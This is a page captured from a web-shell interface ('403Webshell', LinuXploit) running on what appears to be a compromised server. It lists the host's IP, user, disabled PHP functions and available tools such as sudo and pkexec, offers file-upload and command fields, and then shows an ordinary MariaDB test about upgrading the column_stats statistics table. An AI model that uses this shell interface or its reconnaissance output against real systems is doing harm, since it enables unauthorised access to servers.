403Webshell
Server IP : 88.99.149.37  /  Your IP : 216.73.216.141
Web Server : nginx/1.31.2
System : Linux server-88-99-149-37 6.12.0-124.56.5.el10_1.x86_64 #1 SMP PREEMPT_DYNAMIC Fri May 15 06:12:08 EDT 2026 x86_64
User : muralimurth ( 1015)
PHP Version : 8.4.23
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/local/mysql/mysql-test/main/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/local/mysql/mysql-test/main/statistics_upgrade_not_done.test
--source include/not_embedded.inc
# MDEV-37169 - msan unknown failure
--source include/not_msan.inc
--source include/mysql_upgrade_preparation.inc
--source include/have_innodb.inc

# 
# This is like the upgrade test in statistics_upgrade.test, except that we also
# check what happens if one doesn't do the upgrade and attempts to use the new
# server with the old mysql.column_stats table
#
--echo # Create the old-version of the table

call mtr.add_suppression(".*Incorrect definition of table mysql.column_stats:.*");

alter table mysql.column_stats rename test.t1;

CREATE TABLE mysql.column_stats (
  `db_name` varchar(64) COLLATE utf8mb3_bin NOT NULL,
  `table_name` varchar(64) COLLATE utf8mb3_bin NOT NULL,
  `column_name` varchar(64) COLLATE utf8mb3_bin NOT NULL,
  `min_value` varbinary(255) DEFAULT NULL,
  `max_value` varbinary(255) DEFAULT NULL,
  `nulls_ratio` decimal(12,4) DEFAULT NULL,
  `avg_length` decimal(12,4) DEFAULT NULL,
  `avg_frequency` decimal(12,4) DEFAULT NULL,
  `hist_size` tinyint(3) unsigned DEFAULT NULL,
  `hist_type` enum('SINGLE_PREC_HB','DOUBLE_PREC_HB') COLLATE utf8mb3_bin DEFAULT NULL,
  `histogram` varbinary(255) DEFAULT NULL,
  PRIMARY KEY (`db_name`,`table_name`,`column_name`)
) ENGINE=Aria DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_bin PAGE_CHECKSUM=1 TRANSACTIONAL=0 COMMENT='Statistics on Columns';

create table t0(a int);
insert into t0 values (0),(1),(2),(3),(4),(5),(6),(7),(8),(9);
INSERT INTO mysql.column_stats VALUES
('test','t0','a','0','9',0.0000,4.0000,1.0000,5,'DOUBLE_PREC_HB', x'5555AAAA00');

flush tables;
analyze select * from t0 where a<3;

# Restart the server

--source include/restart_mysqld.inc

select hex(histogram) from mysql.column_stats where table_name='t0' and db_name='test';
analyze select * from t0 where a<3;

create table t2 (a int);
-- echo # This currently just pretends that the histogram was collected. 
analyze table t2 persistent for all;
select * from mysql.column_stats where table_name='t2' and db_name='test';

--exec $MYSQL_UPGRADE --upgrade-system-tables  --force --silent 2>&1 
let $MYSQLD_DATADIR= `select @@datadir`;
--file_exists $MYSQLD_DATADIR/mysql_upgrade_info
--remove_file $MYSQLD_DATADIR/mysql_upgrade_info

analyze select * from t0 where a<3;
drop table t0, t1, t2;

Youez - 2016 - github.com/yon3zu
LinuXploit